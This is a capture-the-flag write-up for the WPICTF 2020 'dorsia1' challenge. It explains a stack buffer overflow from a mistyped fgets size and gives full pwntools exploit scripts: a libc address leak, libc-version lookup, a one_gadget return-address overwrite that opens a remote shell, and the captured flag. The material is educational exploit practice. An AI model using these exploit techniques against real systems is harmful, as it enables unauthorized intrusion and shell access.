# WPICTF 2020
## dorsia1
> 100>> [http://us-east-1.linodeobjects.com/wpictf-challenge-files/dorsia.webm](../dorsia.webm) The first card.>> `nc dorsia1.wpictf.xyz 31337 or 31338 or 31339`>> made by: awg> > _Hint: Same libc as dorsia4, but you shouldn't need the file to solve._
Tags: _pwn_ _bof_ _remote-shell_
### Analysis
#### Roll the film ([dorsia.webm](../dorsia.webm))
![](dorsia1.png)
Quite possibly one of the best movies scenes ever (your results may vary), augmented with _new pwn_.  And ..., there are two verbal hints in the clip: _stack smash_ and _fgets_.
What I most appreciate about this challenge is that this is a legit fuckup.  You could (and can) actually expect someone to mistype the `69` as `96`.
The hint: _Same libc as dorsia4, but you shouldn't need the file to solve_, was actually delivered later in the challenge as users keep asking for the libc version.  I do not fully agree with that.  For starters is this x86_64, x86, arm, or something else?
The `printf` leaks the location of `system` with an offset (`765772`), this can be used to both determine the version of libc as well as the architecture.
Assuming x86_64 (safe bet) _stack smash_ with 69 bytes + 8 bytes for the saved base pointer then an 8 byte address as the new return address.  That leaves 16 bytes left (15 really since `fgets` will only read 68 bytes (one less than size parameter)).  This is important, because it'll tell you what will not work: `pop rdi; ret`, pointer to `/bin/sh`, `system`.  Which is exactly what I tried first (habit, I prefer this over gadgets because it is portable).  That 96th byte will be a NULL (0x00), and unless the remote libc address space starts with `0x00` (and it does not), then this will not work.  Plan B: try a gadget.
However, there is a 2nd, easier solution, and the hint spells that out for you.  `765772`.  What is that number and what does it mean?  It pays to be curious.
### Exploit
#### Attack Plan
1. Leak libc address2. Find libc version3. Find a gadget2. Get the flag
#### Leak libc address
```python#!/usr/bin/env python3
from pwn import *
p = remote('dorsia1.wpictf.xyz',31337)
_ = p.recvline().strip()
system = int(_,16) - 765772print(hex(system))```
#### Find libc version
```pythonimport osstream = os.popen("libc-database/find system " + str(hex(system & 0xFFF)) + " | grep /glibc/ | sed 's/)//' | awk '{print $NF}'")output = stream.read().strip()stream.close()
libc = ELF('libc-database/db/' + output + '.so')baselibc = system - libc.symbols['system']print("libc:" + str(hex(baselibc)))print('libc-database/db/' + output + '.so')```
This code assumes you have the libc-database cloned locally, however there's an online version as well: [https://libc.blukat.me/](https://libc.blukat.me/) (tip from @ins0--thanks!).  Personally I prefer the local version, esp. if searching for gadgets or ROP chains, but it can also take about 30 minutes to download.  Options are good to have.
Running this will output:
```[+] Opening connection to dorsia1.wpictf.xyz on port 31337: Done0x783e16412440[*] '/pwd/datajerk/wpictf2020/dorsia1/libc-database/db/libc6_2.27-3ubuntu1_amd64.so'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabledlibc:0x783e163c3000libc-database/db/libc6_2.27-3ubuntu1_amd64.so```
Now we have the libc version and binary.
#### Find a gadget
```# one_gadget libc-database/db/libc6_2.27-3ubuntu1_amd64.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)constraints:  rsp & 0xf == 0  rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)constraints:  [rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL```
`0x4f322` looks the most promising.
#### Get the flag
```pythongadget = 0x4f322
payload  = 69 * b'A'payload += 8 * b'B'payload += p64(baselibc + gadget)payload += (96 - len(payload)) * p8(0)
p.sendline(payload)p.interactive()```
Filling the rest of the stack with NULLs is just habit--it can help however with `one_gadget`.
Output:
```[+] Opening connection to dorsia1.wpictf.xyz on port 31337: Done0x7386ccfc1440[*] '/pwd/datajerk/wpictf2020/dorsia1/libc-database/db/libc6_2.27-3ubuntu1_amd64.so'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabledlibc:0x7386ccf72000libc-database/db/libc6_2.27-3ubuntu1_amd64.so[*] Switching to interactive mode$ cat flag.txtWPI{FEED_ME_A_STRAY_CAT}```
#### Flag
```WPI{FEED_ME_A_STRAY_CAT}```
### Be curious
```python#!/usr/bin/env python3
from pwn import *
p = remote('dorsia1.wpictf.xyz',31337)
_ = p.recvline().strip()
gadget = int(_,16)
payload  = 69 * b'A'payload += 8 * b'B'payload += p64(gadget)payload += (96 - len(payload)) * p8(0)
p.sendline(payload)p.interactive()```
This basically just sends back `system+765722` as the return address in our _stack smash_.
Output:
```[+] Opening connection to dorsia1.wpictf.xyz on port 31337: Done[*] Switching to interactive mode$ cat flag.txtWPI{FEED_ME_A_STRAY_CAT}```
#### What is `system+765722`?
Let's find out:
```# python3Python 3.7.5 (default, Nov 20 2019, 09:21:52)[GCC 9.2.1 20191008] on linuxType "help", "copyright", "credits" or "license" for more information.>>> from pwn import *>>> libc = ELF('libc-database/db/libc6_2.27-3ubuntu1_amd64.so')[*] '/pwd/datajerk/wpictf2020/dorsia1/libc-database/db/libc6_2.27-3ubuntu1_amd64.so'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled>>> print(hex(libc.symbols['system'] + 765722))0x10a35a```
Looking at the `one_gadget` output above it looks pretty close to `0x10a38c`.
